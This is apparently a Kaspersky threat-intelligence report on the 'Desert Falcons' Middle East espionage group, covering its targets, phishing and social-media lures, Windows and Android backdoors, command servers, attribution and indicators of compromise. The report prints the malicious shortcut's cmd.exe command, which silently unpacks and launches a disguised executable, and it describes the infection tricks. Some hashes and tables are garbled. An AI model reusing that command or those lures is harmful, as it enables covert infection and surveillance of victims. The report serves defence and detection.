Table of contents

1. Executive Summary ................................................................. 4
2. Introduction .................................................................................. 5
3. Operation Goals and Victim Profiles ............................................ 6
   3.1. Stolen Files information .......................................................... 7
4. Operation Analysis ........................................................................ 8
   4.1. Deceive and Infect ................................................................... 8
       4.1.1. Targeted emails and documents ......................................... 8
       4.1.2. Just click the shortcut: the rar/lnk trick .............................. 11
       4.1.3. Right-to-left extension override trick .................................. 12
       4.1.4. Social Networking tricks .................................................. 12
       4.1.5. The fake RealPlayer plugin trick ....................................... 14
   4.2. Infiltrate and Spy ..................................................................... 15
       4.2.1. The Falcons’ main Trojan .................................................. 15
       4.2.2. DHS spyware .................................................................... 16
       4.2.3. DHS2015, also called iRat ............................................... 17
       4.2.4. Mobile backdoor traces ..................................................... 17
       4.2.5. Other tools by DHS .......................................................... 18
       4.2.6. Compilation timeline for samples ....................................... 19
   4.3. Track and Control ................................................................... 19
       4.3.1. 1st Campaign - targeting computer devices and mobiles ...... 19
       4.3.2. 2nd Campaign .................................................................. 20
       4.3.3. 3rd Campaign .................................................................. 20
       4.3.4 Liptona.net ........................................................................ 21
       4.3.4. Campaigns operational timeline ........................................ 22
5. Attribution ........................................................................................................... 23
6. Conclusion ........................................................................................................... 24
7. Appendix ........................................................................................................... 25
   7.1. Appendix 1: C&Cs Whois History ................................................................. 25
   7.2. Appendix 2: IOC & Samples ....................................................................... 25
       7.2.1. Known “Falcons” C&C hostnames ......................................................... 25
       7.2.2. Related Domains .................................................................................. 26
       7.2.3. Known “Falcons” C&C IPs .................................................................... 26
       7.2.4. MD5s of backdoors used in the attacks ............................................... 26
       7.2.5. Backdoor related files .......................................................................... 27
       7.2.6. Attacker e-mail accounts used in spear phishing attacks .............. 27
1. Executive Summary

Desert Falcons is a new group of cybermercenaries operating from the Middle East and using a set of methods to hide and operate malware. The cybercriminals appear to be highly skilled: in addition to proficient social engineering tricks, they have developed the following from scratch:

- Computer systems malware targeting Windows devices
- Mobile malware targeting Android devices
- Infection vectors, including phishing emails, fake websites and fake social networking accounts

Potential victims were enticed with socio-political news and information, and many succumbed rapidly to malware infection.

The victims targeted include:

- Military and Government
- Newspaper, TV/Radio Channels and Top Media Outlets
- Financial and Trading Institutions
- Research and Education Institutions
- Activists and Political Leaders
- Energy Firms
- Physical Security Companies

Victims of the Desert Falcons are located mainly in the following countries:

- Egypt
- Palestine
- Israel
- Jordan

The Desert Falcons cybercriminals are native Arabic speakers; and it is believed to be the first known Arab group to develop and run a full cyber espionage operation. Desert Falcons began its operations in 2011, with the first infections taking place in 2013. The group became very active in late 2014/early 2015.

The Desert Falcons comprises around 30 members working in three teams and operating mainly out of Palestine, Egypt and Turkey.

The number of victims to date exceeds 3,000.

The group’s malware was originally found during an attack investigation in the Middle East. Kaspersky Lab clients are protected from infection, with the malware files and domains used in the targeted attacks detected and blocked.
2. Introduction

The geopolitical conflicts in the Middle East have deepened over the last few years. The crisis is taking many forms, and the conflict in cyberspace is intensifying as different sides try to shift the struggle in their favour by exploiting cyber intelligence and distorting news.

Targeted cyberattacks have also increased rapidly in the region over the last few years, with victims identified for almost every one of the major advanced cyberattack campaigns (Regin, Epic Turla, Careto, Nettraveler, Red October, Flame, Gauss, Duqu, and more.)

The Global Research and Analysis Team (GReAT) at Kaspersky Lab has uncovered new targeted attacks in the Middle East. Native Arabic-speaking cybercriminals have built advanced methods and tools to deliver, hide and operate malware that they have also developed themselves. This malware was originally discovered during an investigation of one of the attacks in the Middle East.

Political activities and news are being actively used by the cybercriminals to entice victims into opening files and attachments. Content has been created with professionalism, with well designed visuals and interesting, familiar details for the victims, as if the information were long awaited.

The victims of the attacks to date have been carefully chosen; they are active and influential in their respective cultures, but also attractive to the cybercriminals as a source of intelligence and a target for extortion.

The attackers have been operating for more than two years now, running different campaigns, targeting different types of victims and different types of devices (including Windows- and Android-based). We suspect that at least 30 people distributed across different countries are operating the campaigns.

As a security organization, our analysis has focused only on the malware and the facts uncovered during our research.

The falcon is a popular and rare bird that has existed for a long time in Arabian countries with deserts, such as Egypt, Syria, the United Arab Emirates, Palestine, Saudi Arabia, and Oman, among others. It is also a symbol of hunting and sharp vision. The Desert Falcons are proficient cyberattackers, with carefully chosen targets, who are all thoroughly investigated before being attacked and infected.
3. Operation Goals and Victim Profiles

One of the most mysterious things about the Falcons is the range and variety of victims; with clear political, geographical and social distinctions between them.

Further details of individual categories of victims

<table>
<thead>
<tr>
<th>Victim Category</th>
<th>Victim Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Media</td>
<td>Organizations and popular senior reporters from large and small, global and local media organizations, with wide coverage in the Middle East region</td>
</tr>
<tr>
<td>Education and Activists</td>
<td>Islamic universities, immigrants and rights activists of Arab origin were among the most targeted; with attackers trawling through pictures, video and audio recordings</td>
</tr>
<tr>
<td>Government</td>
<td>Organisations and personnel responsible for national health, combatting money laundering, economy, trade, ministries, research and development</td>
</tr>
<tr>
<td>Military</td>
<td>High-ranking personnel related to security agencies and army command units</td>
</tr>
<tr>
<td>Energy/Utilities</td>
<td>Critical infrastructure suppliers (power, oil and gas, construction and smart grids)</td>
</tr>
<tr>
<td>Industrial</td>
<td>Supply chain contractors providing manufacturing material and equipment for clients including the military and aerospace.</td>
</tr>
<tr>
<td>Financial</td>
<td>Multiple banks and investment firms were affected</td>
</tr>
<tr>
<td>Physical Security</td>
<td>One of the most mysterious victim categories, with major firms targeted in multiple countries.</td>
</tr>
</tbody>
</table>
A screenshot from one of the physical security providers targeted shows the attackers’ interest in information about security officers and their assignments. It is possible that these victims were targeted in order to collect useful information that could be used in actual physical crime.

3.1. Stolen Files information

The Desert Falcons’ operations were found to be mainly focused on political and military intelligence. In all, the attackers were able to steal more than one million files and documents containing sensitive information from victims’ computers and devices.
4. Operation Analysis

The Desert Falcons make use of different tools and techniques to Deliver, Infect, Spy on and Manage their victims. Below we outline each of the methods involved and how they were carefully used to operate the cyber espionage activities. They are grouped into three sections as follows:

- Deceive and Infect
- Infiltrate and Spy
- Track and Control

4.1. Deceive and Infect

Malware writers use multiple technical and social engineering methods to deliver their files and encourage the victims to run them; creating an effective infection vector, even when they are targeting what should be well-protected organisations such as governments, banks and leading media outlets. In this case the attackers depended mainly on social engineering to exploit:

- Victims’ trust in social networking forums
- Victims’ curiosity about news relating to political conflict in their country

In the following sections we outline the different methods used by the cybercriminals to infect their victims.

4.1.1. Targeted emails and documents

The Falcons attacks used spear phishing e-mails that attempted to trick the victim into opening a malicious attachment. Spear phishing was mainly used when targeting important victims such as governments or high profile media.

The spear phishing e-mails used by the Falcons were very well structured with filenames and attachments selected with care for the targeted victim.

**Email samples**

<table>
<thead>
<tr>
<th>Email information</th>
<th>Time of delivery</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>From:</strong> السكرتير التنفيذي (Executive Secretary)</td>
<td>March 2014</td>
</tr>
<tr>
<td><strong>Subject:</strong> المالية المستحقة (The financial benefits)</td>
<td></td>
</tr>
<tr>
<td><strong>Attachment:</strong> التقرير الفاصل بخصوص المستحقة/المستحقات. rar (a detailed report on the benefits)</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>From: الإعلامية رنا (The media reporter Rana)</th>
<th>March 2014</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Subject:</strong> المرجعية.A (director of the lawyer David, to remind you of the meeting to review the pictures and the report)</td>
<td></td>
</tr>
</tbody>
</table>
## Email information

<table>
<thead>
<tr>
<th>From</th>
<th>Subject</th>
<th>Time of delivery</th>
</tr>
</thead>
<tbody>
<tr>
<td>news letar</td>
<td>החוצפה הגדולה (most cruel)</td>
<td>Sept 2014</td>
</tr>
<tr>
<td>&quot;news letar&quot; <a href="mailto:newsletar05@gmail.com">newsletar05@gmail.com</a></td>
<td>חנין זעאבי rar//eeee.scr//04.exe</td>
<td>Sept 2014</td>
</tr>
<tr>
<td>&quot;Italy Office&quot; <a href="mailto:italy.office@gmail.com">italy.office@gmail.com</a></td>
<td>מharga אמנה - המגבת</td>
<td>Sept 2014</td>
</tr>
<tr>
<td>&quot;ynet48&quot; <a href="mailto:ynet48@gmail.com">ynet48@gmail.com</a></td>
<td>iPhone 6 and our privacy</td>
<td>Sept 2014</td>
</tr>
<tr>
<td>&quot;mako mako&quot; <a href="mailto:mako22014@gmail.com">mako22014@gmail.com</a></td>
<td>מה קורה לישראיל עוד עשר שנים (what will happen to Israel in ten years)</td>
<td>Sept 2014</td>
</tr>
</tbody>
</table>

## File samples

<table>
<thead>
<tr>
<th>File Name</th>
<th>Translation</th>
</tr>
</thead>
<tbody>
<tr>
<td>&quot;אפקاق العلاقات الجديد بين السيسي وBASHAR الأسد&quot; rar</td>
<td>The prospect of a new relationship between Sisi and Bashar al-Assad</td>
</tr>
<tr>
<td>&quot;ISIS (Islamic State in Iraq and Levant)&quot;</td>
<td></td>
</tr>
<tr>
<td>&quot;Terrorism affecting Egypt - the beginning of the end is near&quot;</td>
<td></td>
</tr>
<tr>
<td>&quot;Palestinian embassies abroad... the reality of a weak role _Maram Mabrouk&quot;</td>
<td></td>
</tr>
<tr>
<td>&quot;Gaza fishermen, facing poverty and harassment until when? .docx.scr&quot;</td>
<td></td>
</tr>
<tr>
<td>&quot;Financial Decision No. 17 concerning the military forces&quot;</td>
<td></td>
</tr>
<tr>
<td>&quot;Sexual harassment in the prime minister’s office&quot;</td>
<td></td>
</tr>
<tr>
<td>&quot;Synagogue attack&quot;</td>
<td></td>
</tr>
<tr>
<td>&quot;Political report on the latest national events .scr&quot;</td>
<td></td>
</tr>
</tbody>
</table>

For any inquiries, please contact intelreports@kaspersky.com
Below are some examples of the interesting content used to target important victims:

A PDF of a Meeting Record was used when targeting senior politicians in Egypt and Palestine. The document was used in spear phishing and contains what appear to be the Meeting Minutes for a very important meeting between political leaders in Egypt and Palestine.
4.1.2. Just click the shortcut: the rar/Ink trick

Another technique used by the cybercriminals is to send a rar file that extracts to multiple files and offers an appealing shortcut in the form of a small, innocent-looking icon. In this case the victim does not need to double-click an executable file, the shortcut is enough to run a whole command to extract, setup and run the malware.

<table>
<thead>
<tr>
<th>Name</th>
<th>Date modified</th>
<th>Type</th>
<th>Size</th>
</tr>
</thead>
</table>
| تم.rar         | 11/11/2014 4:45 PM  | WinRAR archive| 618 KB

C:\Windows\System32\cmd.exe /c "md c:\LA\attrib c:\LA +h +s&C:\Program Files\WinRAR\unrar.exe e _*.rar c:\LA -o+ -ibck&copy /y _*.doc c:\LA\&C:\Program Files\WinRAR\winRAR.exe e -e c:\LA\*.doc c:\LA\ -o+ -ibck&ren c:\LA\image21.jpeg alg.exe&start c:\LA\alg.exe

Documents used when targeting activists in Israel and Palestine

The encouragement, support and protection of those who are engaged in the struggle for freedom and justice is a fundamental human right. It is the responsibility of the international community to stand with those who are striving for a peaceful and just solution to the conflict in the Middle East.

C:\\Windows\\System32\\cmd.exe /c "md c:\\LA\\attrib c:\\LA +h +s&C:\Program Files\\WinRAR\\unrar.exe e _*.rar c:\\LA -o+ -ibck&copy /y _*.doc c:\\LA\\&C:\Program Files\\WinRAR\\winRAR.exe e -e c:\\LA\\*.doc c:\\LA\\ -o+ -ibck&ren c:\\LA\\image21.jpeg alg.exe&start c:\\LA\\alg.exe

For any inquiries, please contact intelreports@kaspersky.com
4.1.3. Right-to-left extension override trick

This method takes advantage of special characters in Unicode to reverse the order of characters in a file name, hiding the dangerous file extension in the file name and placing a harmless-looking fake file extension near the end of the file name. By using this technique, even careful users with good technical knowledge could be tricked into running malicious files.

4.1.4. Social Networking tricks

Targeted Facebook attacks aimed at specific people

The Desert Falcons team is among the first to run targeted attacks through Facebook chat. The attackers created authentic Facebook accounts and then interacted with chosen victims through common Facebook pages until they had gained their trust. Then they sent them Trojan files in the chat hidden as an image or similar.

Below are some screenshots of a victim’s PC showing the infection process, extracted from one of the command and control servers:
Malware files being sent as me.rar or mypic.rar from fake accounts to the victims through chat.

**Facebook attacks targeted at generic activists and political followers (mass infection)**

For wider infections, especially among activists and political figures, different social engineering techniques were used. These included Facebook posts and redirects to fake pages with political content. We were able to identify suspect Facebook posts on popular activist pages, with links to domains or malware downloads used by Falcons. Below are a few examples:
Posts made from compromised or fake accounts on political pages; Dr Salam Fayyad is a former prime minister of the state of Palestine.

Another post with malicious content, this time on the page of Benjamin Netanyahu, the current prime minister of Israel.

### 4.1.5. The fake RealPlayer plugin trick

In this case political social engineering was used to deliver malware as a “plugin” for the “banned video” of a famous political show in Egypt hosted by the satirist Bassem Youssef. The page was hosted on the following domain: [www.linkedim.in](http://www.linkedim.in), chosen to resemble the popular LinkedIn social networking site.
4.2. Infiltrate and Spy

The Desert Falcons depend on two different backdoors to spy on victims. Both backdoors are homemade and are under continuous development. We were able to identify and collect more than 100 malware samples used by the Desert Falcons.

Once they have infected the victim’s computer, attackers have full access and control, and they usually proceed as follows:

1. New victims are categorized into groups before being infected (e.g., A001, A002, and so on)
2. One of the cybercriminals is appointed to each new victim after infection
3. A complete list of all files (especially XLS, DOC, JPG and WAV) is retrieved from the victim’s machine
4. The cybercriminal browses and collects any interesting pictures and files
5. The cybercriminal also collects chats and screenshots
6. Depending on the importance of the victim, the surveillance is then either intensified or dropped

4.2.1. The Falcons’ main Trojan

This is the main Trojan used in the attacks, especially when targeting important victims. Multiple versions of the Trojan were found, revealing ongoing development and improvements.

The Falcons’ main Trojan is divided into two modules:

4.2.1.1. Falcons’ Downloader

This module is used for the initial infection. Once executed, the Falcons’ downloader will send a registration request to the Command and Control (C&C) server with the victim’s IP address and a harddisk ID. The downloader will request a registration confirmation from the C&C. Encrypted versions of the latest Falcons’ backdoor will then be downloaded and installed on the victim’s machine.
4.2.1.2. Falcons’ Backdoor
The Falcons’ backdoor communicates with C&C servers using HTTP requests with encrypted content, providing the attackers with full backdoor functionality including:

- Screenshots
- Keylogs
- Upload/Download files
- Information on all the .doc and .xls files on the victim’s hard disk or connected USB devices
- The ability to steal passwords stored on the system registry (Internet Explorer and live Messenger)

All the files and screenshots collected by the backdoor are sent to the C&C in a password-protected archive.

The earliest sample we found of the Falcons’ Trojan was compiled in Feb 2013. We consider this to be the real start date for the infection activity. (c07ac2120b4312b33089cc97405876, MSN.exe).

4.2.2. DHS spyware
DHS naming is used by the attackers to describe the nickname initials of one of the developers (D** H*** Spyware).

From June 2014, the Falcons began using a new, totally rewritten backdoor, the “DHS spyware”, is built by a different development team. This also provided the attackers with control over the infected systems, serving the same goals as before through the following functionalities:

- Screenshots and Keylogs
- Audio recording
- Downloading and Uploading files
- Password stealing
- Interactive shell
DHS builder, used to bind malware with an icon and the category to which the victim belongs.

![Screen shot for DHS C&C management console](image)

**4.2.3. DHS2015, also called iRat**

Beginning 2015, DHS released a new, almost final version of the Trojan malware, now packed with new features and techniques to escape detection, but also adding encryption to the C&C communication and file storage. The new malware has been named DHS2015 or iRAT.

```plaintext
| cSet| 004077E3 | 004077E2 | 004077E1 | C   | whost          |
| cSet|              | 004077E3 | SypMacro | C   | SypMacro       |
| cSet| 004077E2 | 004077E1 | 004077E0 | C   | SypMacro       |
| cSet| 004077E0 | C   | SypMacro | C   | SypMacro       |
| cSet| 004077E0 | C   | cDownload| C   | cDownload      |
| cSet| 004077E0 | C   |         | 004077E0 | unique          |
| cSet| 004077E0 | C   |         | 004077E0 | unique          |
| cSet| 004077E0 | C   |         | 004077E0 | unique          |
| cSet|              | C   |         | 004077E0 | unique          |
```

**4.2.4. Mobile backdoor traces**

During the investigation of the C&C servers we found traces of data pointing to mobile Trojan logs on the C&C [www.fpupdate.info](http://www.fpupdate.info). The traces represent a structure for a mobile spying command server, the server contains mobile Call logs, SMS logs and Geolocation tracking for more than 360 victims.

![Index of /mobile/uploads/LGE_IMEI_358239051467753/calllog](image)
4.2.5. Other tools by DHS

The cybercriminals also developed other tools, for example, a public/private key-based file cryptor/decryptor tool.

MD5: 363d7b99fee999a4c39a2a1052fa7919
4.2.6. Compilation timeline for samples

The malware files compilation timeline for the collected samples clearly shows the Falcons’ activity and operations, which started in 2013 and increased dramatically in 2014.

![Samples Compilation Timeline]

4.3. Track and Control

The Desert Falcons’ operation can be divided into three different campaigns, each operated from a different C&C/IP, targeting different types of victims and operated mostly by different team members.

The campaigns can be classified by the type and version of malware and the type of victims targeted:

- **Campaign 1**: Active in Palestine, Egypt, Jordan and the Gulf states (KSA, UAE and Qatar)
- **Campaign 2**: Active in Israel
- **Campaign 3**: Active in Egypt

4.3.1. 1st Campaign - targeting computer devices and mobiles

This is the main Falcons’ campaign and included the highest number of victims. It focused mainly high profile victims in Palestine, Jordan, Egypt and the Gulf states, and the target victims were mainly government organizations, military centers and top media outlets.

<table>
<thead>
<tr>
<th>C&amp;C Domains</th>
<th>IPs</th>
<th>Victims</th>
<th>Malware used</th>
<th>Registration Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>ahmedfaiez.info</td>
<td>188.40.75.132</td>
<td>Media &amp; Government</td>
<td>Falcons Trojan</td>
<td>2013-03-29</td>
</tr>
<tr>
<td></td>
<td>188.40.106.84</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>fpupdate.info</td>
<td>188.40.75.132</td>
<td>Mobile</td>
<td>Falcons Trojan</td>
<td>2013-04-14</td>
</tr>
</tbody>
</table>
### 4.3.2. 2nd Campaign

This campaign mainly targeted victims in Israel using the main Falcons Trojan. More than 600 victims have been identified.

<table>
<thead>
<tr>
<th>C&amp;C Domains</th>
<th>IPs</th>
<th>Victims</th>
<th>Malware used</th>
<th>Registration Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>mixedwork.com</td>
<td>188.40.81.136</td>
<td>Israeli Victims</td>
<td>Falcons Trojan</td>
<td>2014-02-18</td>
</tr>
<tr>
<td>plmedgroup.com</td>
<td>188.40.81.136</td>
<td>Israeli Victims</td>
<td>Falcons Trojan</td>
<td>2014-02-18</td>
</tr>
<tr>
<td>pstcmedia.com</td>
<td>188.40.81.136</td>
<td>Unknown, currently</td>
<td>Falcons Trojan</td>
<td>2013-07-04</td>
</tr>
</tbody>
</table>

### 4.3.3. 3rd Campaign

This targeted mainly activists, political figures and radio/TV channels in Egypt. It’s the only campaign in the Falcons’ operations that used the DHS spyware.

<table>
<thead>
<tr>
<th>C&amp;C Domains</th>
<th>IPs</th>
<th>Victims</th>
<th>Malware used</th>
<th>Registration Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>advtravel.info</td>
<td>188.40.106.84</td>
<td>Activists</td>
<td>DHS Spyware</td>
<td>2013-11-17</td>
</tr>
<tr>
<td>linksis.info</td>
<td>188.40.106.84</td>
<td>Politicians and Activists</td>
<td>DHS 2015/IRat</td>
<td>2014-12-01</td>
</tr>
</tbody>
</table>

Besides being the only campaign to use DHS spyware, we can confirm this is also the most recent, managed by new and less experienced group members. This is apparent from mistakes made in the campaign operation. For example, the C&C server advtravel.info was publicly accessible, despite containing files, screenshots and information collected from the victims and the backdoor execution logs.
File and folder structure on one of the command servers. For a short time the file access permissions for the command servers were made public.

4.3.4 Liptona.net

One of the interesting findings that could indicate an earlier start to the Falcons’ operations is the Liptona.net domain. The hosting history for this domain shows that between 21 June 2012 and December 2013, this domain was pointing to one of the IPs (188.40.106.84) used by the Falcons.

We were able to find a malware sample using Liptona.net as a C&C (667b5004fa197beb0129e1ddbc416864). This sample has some similarities to the Falcons’ main backdoor and the compilation time for the sample points back to Dec 2011. One interesting thing is that this sample tries to steal login credentials for hardcoded URLs of Palestinian websites, an indication of a shared goal with the Falcons’ team.

Websites hardcoded in the malware:

- http://mail.mtit.pna.ps/src/login.php (Email Ministry of Telecommunications and Information Technology Palestine )
- http://myaccount.jawwal.ps/ (Jawwal Mobile provider)
- http://portal.iugaza.edu.ps/ (Islamic University of Gaza)
4.3.4. Campaigns operational timeline

Even though malware files were only traced back to 2013, domain-related traces were found that may indicate earlier activities by the Desert Falcons:

[Diagram showing Desert Falcons campaigns’ operational timeline]
5. Attribution

The investigation into the Desert Falcons cybermercenaries enabled the research team to determine the identity of some members of the group behind the development and operation of the campaigns.

The Desert Falcons team members count around 30, working in three teams and operating mainly from Palestine, Egypt and Turkey.

We also confirmed that the cybercriminals are native Arabic speakers from the Middle East, based on evidence from:

- The identities found
- The fact that most malware files have the PE resource “Version Info” with “Lang property” set to “Arabic”
- Arabic User names for the C&C administrators
- Arabic names and emails found in the registration history of the C&C domains
- Solid Arabic phishing emails and documents used in attacks
- DHS spyware command and control panel with Arabic interface

The identities of some of the cybercriminals were found when inspecting the contents of one of the C&Cs which had public read permissions open for a short period of time. We were able to track and identify the full profile of some of the attackers including Facebook and twitter accounts, private blogs and websites. Surprisingly the attackers have published on twitter some information about their development of the spyware and the command servers.
6. Conclusion

The Desert Falcons’ attacks show clearly that zeroday techniques are not a must for efficient targeted attacks. Using phishing emails, social engineering and homemade tools and backdoors, the Desert Falcons were able to infect hundreds of sensitive and important victims in the Middle East region through their computer systems or mobile devices.

This is just an alert for the poor cyber security situation in the region. Banks, Media outlets, Governments and Military entities in different countries all fell prey to the Desert Falcons’ attacks.

Falcons’ threat actors are determined, active and have good technical knowledge. We expect their operations to carry on developing more Trojans and using more advanced techniques. With enough funding, they might be able to acquire or develop exploits that would increase the efficiency of their attacks.

Desert Falcons is just one example of the rise of cybercrime in a geopolitically troubled region that will motivate other threat actors or states to leverage cyber attacks for political or criminal goals.

Kaspersky Lab detects all the malware files as follows:

- Trojan.Win32.DesertFalcons
- Trojan-Spy.Win32.Agent.cncc
- Trojan-Spy.Win32.Agent.ctcr
- Trojan-Spy.Win32.Agent.ctcv
- Trojan-Spy.Win32.Agent.ctcx
- Trojan-Spy.Win32.Agent.cree
- Trojan-Spy.Win32.Agent.ctbz
- Trojan-Spy.Win32.Agent.comn
- Trojan.Win32.Bazon.a
7. Appendix

7.1. Appendix 1: C&Cs Whois History

<table>
<thead>
<tr>
<th>Domain</th>
<th>First Related Registration Date</th>
<th>IP addresses</th>
</tr>
</thead>
<tbody>
<tr>
<td>ahmedfaiez.info</td>
<td>2013-03-29</td>
<td>188.40.75.132</td>
</tr>
<tr>
<td></td>
<td></td>
<td>188.40.106.84</td>
</tr>
<tr>
<td>fpupdate.info</td>
<td>2013-4-14</td>
<td>188.40.75.132</td>
</tr>
<tr>
<td>linkedim.in</td>
<td>2013-05-29</td>
<td>188.40.75.132</td>
</tr>
<tr>
<td>pstcmedia.com</td>
<td>2013-07-04</td>
<td>188.40.81.136</td>
</tr>
<tr>
<td>advtravel.info</td>
<td>2013-11-17</td>
<td>188.40.75.132</td>
</tr>
<tr>
<td></td>
<td></td>
<td>188.40.106.84</td>
</tr>
<tr>
<td>flushupate.com</td>
<td>2014-02-16</td>
<td>188.40.75.132</td>
</tr>
<tr>
<td>flushupdate.com</td>
<td>2014-02-16</td>
<td>188.40.75.132</td>
</tr>
<tr>
<td>mixedwork.com</td>
<td>2014-02-18</td>
<td>188.40.81.136</td>
</tr>
<tr>
<td>plmedgroup.com</td>
<td>2014-02-18</td>
<td>188.40.81.136</td>
</tr>
<tr>
<td>ineltdriver.com</td>
<td>2014-09-14</td>
<td>188.40.75.132</td>
</tr>
<tr>
<td>iwork-sys.com</td>
<td>2014-09-17</td>
<td>188.40.75.132</td>
</tr>
<tr>
<td>androcity.com</td>
<td>2014-11-17</td>
<td>188.40.106.84</td>
</tr>
<tr>
<td>linksis.info</td>
<td>2014-12-01</td>
<td>188.40.106.84</td>
</tr>
</tbody>
</table>

7.2. Appendix 2: IOC & Samples

The following Indicators of Compromise can be used to identify Falcons infections.

7.2.1. Known “Falcons” C&C hostnames

- advtravel.info
- ahmedfaiez.info
- pstcmedia.com
- mixedwork.com
- flushupate.com
- flushupdate.com
- ineltdriver.com
- liptona.net
- mediahitech.info
- fpupdate.info
- plmedgroup.com
- linksis.info
7.2.2. Related Domains

• linkedim.in
• iwork-sys.com
• nauss-lab.com
• nice-mobiles.com
• facebook-emoticons.bitblogoo.com
• abuhmaid.net
• blogging-host.info
• androcity.com
• tvgate.rocks

7.2.3. Known “Falcons” C&C IPs

• 188.40.75.132
• 188.40.81.136
• 188.40.106.84

7.2.4. MD5s of backdoors used in the attacks

003082ee859edccd104ab4cb38deb131  59482460da44c3d7192970e705688162
00eef6a2ac57e987f4750c6eff4e93d6  5bb619dcb0c9684e0bdf6d85769dbd
01f68cad955b14f4849e3796a834cd44  5df7ba3b578059263e1be70a9077a8ed
02ffcfdfc8b205cece05597fceb1b307b7  63c480b1cc601b02b4ac3b0309bb07e6
03ea5a6c095b025e111a64a32a1d1460  667b5004fa197beb01291dadb4c16864
07f0e2104773deec4ec351af40441b84  68677970922667279bdebc4bf21b1
0ee6b2296df8c7e5aabfee46baf2a08  6fcc6c2e32fc8e338ab066cd6194cd
10a2212d23f8e24b59c6cb6809e312  6ff37820c23551225de0ca08c2fc4397
12de2b92cc0ce4ec005f9b55ee53e2b4e  7075c9a874ab5b0c27992417394f3885
15c5c4ca7b1d69cc4a174797a5e4f02  72e4096ad0b9274d566d981eb724
1691aca2b22209db76d5107d92861e7  73c46bacc471db08a6c031caef3f9e8
17bfc2f4efc103b133835ca3ec0a71fa  74db882efa9ea1787f55589f3ecb
1b26203d329a66636fcb286bc4702c77  76f74b24480cb1a42998c944020f2ad
1e52a293838464ecdc6cd6d9a55793  79ac7484ad4d1608cc939ed0ae60e2e8
22e90e502bd4c819480e987cc46a9a8  7ac102740b29982e43494f334b5508
238b48338c14c8ea87ff7ccab4544252  7ed80e4a8535242248e69507ca0a
23d6ee3472492f383f14813d9f4c6e9  8b5db5c9852f48fa4430943df8412e0b
2804dce3a379b9ab55457c095dce9fd1  8bbad466f25705f66ece621cc2056
2986d9af413cd09df6fdd40040e5c180  91510aa0bbf961a34f0326fba2fbb1
2b94213b0ba7200742a08992b69a127a  9469ff12c582cf79435822dd2a1920cc
2bc2ecd484a063ee5e432a6f651782d9  96d56c4a542646620ac381336818d
33d5679279fd2bce5eb0f467663b03b4  a1b7f83f3cf6ee88002b6dd8111a1d
418cfc0044b8e08debd270454f617c636  a313d1092c5245d1ac005919ad311
436a7ad10b379ddc04a54e5129dc3ba6  a4a390f90be492bb51194d0844fed7f
4a0ef41272210f41b987224f57f6280  a6681dbdab42d56166e517236181b09
4b521ed7651d369303d36cc302419d  a73ec37e872b49e5736cc06193105df9
4ffbf40b61d2f2f590a35f8f65867e40  abd4663404a807581af7f20105f36d5
518a765d999191b97ed7c4730714def31  b1060166e31ea567634fb9c86b027d
7.2.5. Backdoor related files

%systemdrive%\ProgramData\cloud\skype.exe
%systemdrive%\ProgramData\cloud\msnn.dll
%systemdrive%\ProgramData\cloud\pluse.dll
%systemdrive%\ProgramData\skype\skype.exe
%systemdrive%\ProgramData\skype\msnn.dll
%systemdrive%\ProgramData\skype\pluse.dll
%systemdrive%\Program Files\Messenger\MSN.exe
%systemdrive%\Program Files\Messenger\msnn.dll
%systemdrive%\Program Files\Messenger\pluse.dll
%systemdrive%\ProgramData\syn\Skype.exe
%systemdrive%\ProgramData\syn\msnn.dll
%systemdrive%\ProgramData\syn\pluse.dll

7.2.6. Attacker e-mail accounts used in spear phishing attacks

newsletar05@gmail.com
ynet48@gmail.com
mako20214@gmail.com
italy.office@gmail.com
Securelist, the resource for Kaspersky Lab experts’ technical research, analysis, and thoughts.
Kaspersky Lab HQ
39A/3 Leningradskoe Shosse
Moscow, 125212
Russian Federation

more contact details
Tel: +7-495-797-8700
Fax: +7-495-797-8709